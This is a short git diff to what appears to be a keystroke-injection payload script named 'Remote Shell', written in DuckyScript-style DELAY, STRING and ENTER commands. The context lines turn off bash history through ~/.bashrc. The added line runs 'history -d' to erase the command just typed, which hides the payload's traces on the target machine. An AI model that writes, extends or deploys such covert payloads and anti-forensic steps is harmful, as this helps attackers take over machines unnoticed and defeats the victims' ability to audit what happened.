diff --git a/Executions/Remote Shell.txt b/Executions/Remote Shell.txt index b173f4d..f09ead4 100644 --- a/Executions/Remote Shell.txt +++ b/Executions/Remote Shell.txt @@ -37,6 +37,7 @@ DELAY 500 ENTER DELAY 500 STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') DELAY 500 ENTER DELAY 500